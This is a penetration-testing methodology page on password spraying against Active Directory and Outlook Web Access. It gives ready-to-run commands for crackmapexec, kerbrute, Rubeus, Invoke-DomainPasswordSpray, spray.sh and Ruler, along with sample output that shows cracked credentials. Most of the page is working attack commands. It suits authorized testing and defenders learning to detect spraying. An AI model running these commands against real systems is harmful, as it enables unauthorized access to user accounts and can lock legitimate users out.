hacktricks/windows/active-directory-methodology/password-spraying.md

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# Password Spraying
## **Password Spraying**
Once you have found several **valid usernames** you can try the most **common passwords** \(keep in mind the password policy of the environment\) with each of the discovered users.
By **default** the **minimum** **password** **length** is **7**.
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Notice that you **could lockout some accounts if you try several wrong passwords** \(by default more than 10\).
### Get password policy
If you have some user credentials or a shell as a domain user you can get the password policy with:
* `crackmapexec <IP> -u 'user' -p 'password' --pass-pol`
* `enum4linx -u 'username' -p 'password' -P <IP>`
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* `(Get-DomainPolicy)."SystemAccess" #From powerview`
### Exploitation
Using **crackmapexec:**
```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
```
Using [kerbrute](https://github.com/TarlogicSecurity/kerbrute)\(python\) - NOT RECOMMENDED SOMETIMES DOESN'T WORK
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
**Kerbrute** also tells if a username is valid.
Using [kerbrute](https://github.com/ropnop/kerbrute)\(Go\)
```bash
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
```
With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
With the `scanner/smb/smb_login` module of Metasploit:
![](../../.gitbook/assets/image%20%28234%29.png)
With [Invoke-DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
or **spray** \(read next section\).
### Lockout check
The best way is not to try with more than 5/7 passwords per account.
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So you have to be very careful with password spraying because you could lockout accounts. To brute force taking this into mind, you can use [_**spray**_](https://github.com/Greenwolf/Spray)_**:**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
## Outlook Web Access
There are multiples tools for password spraying outlook.
* With [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
* with [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
* With [Ruler](https://github.com/sensepost/ruler) \(reliable!\)
* With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) \(Powershell\)
* With [MailSniper](https://github.com/dafthack/MailSniper) \(Powershell\)
To use any of these tools, you need a user list and a password / a small list of passwords to spray.
```bash
$ ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020
[x] Failed: s.sven:Summer2020
[x] Failed: j.jenny:Summer2020
[x] Failed: t.teresa:Summer2020
[x] Failed: t.trump:Summer2020
[x] Failed: a.adams:Summer2020
[x] Failed: l.larsson:Summer2020
[x] Failed: CUBE0X0:Summer2020
[x] Failed: A.ADMIN:Summer2020
[x] Failed: C.CUBE:Summer2020
[+] Success: S.SVENSSON:Summer2020
```
## References :
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
* www.blackhillsinfosec.com/?p=5296
* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)